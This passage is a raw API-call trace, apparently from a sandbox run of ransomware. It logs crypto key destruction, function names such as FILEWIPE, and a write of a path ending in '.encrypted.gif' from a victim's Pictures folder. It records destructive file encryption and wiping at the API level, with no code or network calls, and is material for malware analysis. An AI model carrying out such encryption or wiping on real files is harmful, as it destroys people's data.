wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.439] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.439] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.439] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.439] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.439] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.439] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.439] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.439] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.439] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.439] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.440] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.440] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.440] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.444] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.444] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.444] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.446] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.446] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.446] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.446] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.446] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.446] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.446] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.446] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0028.446] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.446] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.446] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.446] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.446] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.446] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.447] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.447] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.447] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.447] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.447] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.447] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.447] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.447] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.447] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.447] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.447] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.447] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.447] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.447] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.447] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.447] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.447] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.447] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.447] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.447] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.447] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.447] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.447] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.447] CryptReleaseContext (hProv=0xe8f419a0a0, dwFlags=0x0) returned 1 [0028.447] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.447] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.447] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.447] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.447] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.447] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.449] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.450] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.453] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.453] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.453] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.453] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.453] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.453] CharLowerBuffW (in: lpsz="byte[92896]", cchLength=0xb | out: lpsz="byte[92896]") returned 0xb [0028.454] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.454] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.454] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.454] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.455] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.455] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.455] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.455] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.456] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.456] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.456] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.456] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.456] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.456] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.456] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.456] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.456] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.456] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.456] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.457] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.457] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.457] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.457] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.457] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.457] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.457] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.457] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.457] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.457] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=9120) returned 1 [0028.457] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.457] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.458] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.458] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x23a0, lpOverlapped=0x0) returned 1 [0028.458] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.458] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x23a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.458] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=9120) returned 1 [0028.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\pHQA.encrypted.gif\r\n", cchWideChar=81, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 81 [0028.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\pHQA.encrypted.gif\r\n", cchWideChar=81, lpMultiByteStr=0xe8f4069830, cbMultiByte=81, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\pHQA.encrypted.gif\r\n", lpUsedDefaultChar=0x0) returned 81 [0028.458] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4062330*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4062330*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x50, lpOverlapped=0x0) returned 1 [0028.458] CloseHandle (hObject=0x1fc) returned 1 [0028.459] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.459] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.459] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.459] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.459] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.459] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.459] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.460] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.461] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178840, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0028.461] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0028.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178840, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0028.461] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0028.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 